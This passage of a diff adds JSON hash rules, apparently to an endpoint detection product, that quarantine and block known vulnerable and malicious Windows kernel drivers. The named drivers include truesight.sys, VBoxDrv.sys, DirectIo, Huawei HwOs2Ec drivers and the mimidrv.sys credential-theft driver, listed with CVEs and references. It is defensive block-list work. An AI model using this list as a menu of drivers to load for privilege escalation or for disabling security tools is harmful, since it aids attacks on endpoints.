+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3069a07f31cb4a3fd99055cfe33b8efba08859b7d3e225060edc6631b6f44020",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b4914a9-4e9f-5764-903f-f225c30c625b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823106Z",
+  "creation_date": "2026-03-23T11:45:31.823108Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823114Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e9b011f78de85f1fc8668715f2e6d45ac54490de6bfcef4606f5a9b5d4c016e2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b4bca38-85be-52f9-99cb-b705c3f4bb22",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622544Z",
+  "creation_date": "2026-03-23T11:45:29.622546Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622551Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4324f3d1e4007f6499a3d0f0102cd92ed9f554332bc0b633305cd7b957ff16c8",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b55c916-ff55-5a94-95ca-f61f48eba0b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474088Z",
+  "creation_date": "2026-03-23T11:45:31.474092Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474103Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2d0e06009cc878d926dce6cabea21892a8cccfc1d9aebb64ff63b6db24711719",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b66ff0a-82a4-5db7-8c11-c9c825119b73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836378Z",
+  "creation_date": "2026-03-23T11:45:30.836380Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836386Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "235195db6d1ecc4c264e231ac07f282d2ce899243ab8509db9d58232a7379b3a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b694244-2a08-5c41-b72f-f3b6a781f45b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154786Z",
+  "creation_date": "2026-03-23T11:45:31.154788Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154794Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e492c59970771138c78b4f8b069c4adec06ccccb0d4275b1d585c80a4e968a61",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b876d8e-9919-5d13-a6d5-95a82d65e4b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614041Z",
+  "creation_date": "2026-03-23T11:45:29.614043Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614048Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b78cb190a4968d06f2cdab65ea0106bc47eefdaffc871ba5dd2c2dccadb1e403",
+  "comment": "Huawei vulnerable drivers (aka HwOs2Ec10x64.sys and HwOs2Ec7x64.sys) [CVE-2019-5241] [https://www.microsoft.com/security/blog/2019/03/25/from-alert-to-driver-vulnerability-microsoft-defender-atp-investigation-unearths-privilege-escalation-flaw/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b8bf0ad-2273-5c2a-98e2-34d5d33a6c81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832677Z",
+  "creation_date": "2026-03-23T11:45:30.832679Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832684Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b13314c6f8542d00987278da7bcc3a5833882533c249eee4a4ffed6b01f7e076",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b9ca365-99c1-5227-8d1f-5063fc11ecac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465255Z",
+  "creation_date": "2026-03-23T11:45:30.465258Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465267Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7a665a695ec3c0f862a0d762ad55aff6ce6014359647e7c7f7e3c4dc3be81b7",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9b9e600a-5acc-541e-b6f7-01e531fda2ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819995Z",
+  "creation_date": "2026-03-23T11:45:30.819997Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820002Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0a60e07b06033497ded62ed49fbf3eb3d8fe750eebc3f0c332f5d84ab17e045",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9bb0dbd1-7927-5648-9369-9a348f0396d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611779Z",
+  "creation_date": "2026-03-23T11:45:29.611781Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611786Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3871e16758a1778907667f78589359734f7f62f9dc953ec558946dcdbe6951e3",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz141_x64.sys) [CVE-2017-15303] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9bb2fcd0-b870-5e90-87fc-ad499d38ace3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831549Z",
+  "creation_date": "2026-03-23T11:45:30.831551Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831556Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cbb16ed786b6aa2114c413f32b479fb0ad32ef51c3ed2a3bf246c64cc67a2f71",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9bb54a80-8b45-5b34-9847-4885ef01f70d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466413Z",
+  "creation_date": "2026-03-23T11:45:30.466417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466425Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "02ebf848fa618eba27065db366b15ee6629d98f551d20612ac38b9f655f37715",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9bd20355-6307-566d-9c70-4e7bc74e3dd0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836433Z",
+  "creation_date": "2026-03-23T11:45:30.836435Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836441Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4f38278507925c3b52ed85bc8c9c59ae7165d250c2214ff828e8ff3873e39853",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9bd5fc0f-1d94-5c27-976b-8a7e882016d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826102Z",
+  "creation_date": "2026-03-23T11:45:31.826104Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826110Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8713acee437abc90d03bc765a51b27cd4e4b1525d191a499e10d0baad1cd4093",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9bdac16c-a7db-50be-8c83-56ee90347f86",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815347Z",
+  "creation_date": "2026-03-23T11:45:31.815349Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815355Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd3307c8636e6789a1ccc4c7906b37d36daa4caa25049e50d40eb66b88a28e90",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9bde7ebb-5a82-52aa-8a92-097be6674b6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975621Z",
+  "creation_date": "2026-03-23T11:45:29.975623Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975629Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e16dc51c51b2df88c474feb52ce884d152b3511094306a289623de69dedfdf48",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9bdf68fd-ee79-5447-bb0f-7d4d6c091a4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823472Z",
+  "creation_date": "2026-03-23T11:45:31.823475Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823484Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05db222530d33503428366d5fb29a78944343a4fb6491a3814f7e2183671f678",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9be150ae-3697-522b-b0d8-7153e97599d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493418Z",
+  "creation_date": "2026-03-23T11:45:31.493420Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493425Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "64f6d15237777c9c3eaa1cde000093e324309d74a15394c7f6aa384c6b0322c2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9bf0ff35-5438-59da-b98f-87d679a8172c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464452Z",
+  "creation_date": "2026-03-23T11:45:30.464455Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464463Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b32fc8b15363915605c127ccbf5cbe71778f8dfbf821a25455496e969a01434",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c04a409-d24a-51fd-8249-9801f939971a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473085Z",
+  "creation_date": "2026-03-23T11:45:31.473089Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473098Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c11bd3609173965808776513612dc0607b34b949e21331cf470d5c585b20f3e8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c084e42-f113-586a-8c3c-3b094b5d4cd9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144634Z",
+  "creation_date": "2026-03-23T11:45:31.144636Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144641Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "886aa9c69a2a14e6eccdad7cbb1bbcab8413307c64c746d63d5666d2e10b31ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c09aeae-0810-5134-b61b-abad8b226c0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830277Z",
+  "creation_date": "2026-03-23T11:45:30.830279Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830284Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da41cb1410c171dcda483cd1930922aa08385446a452a070f898ce98d3e1741b",
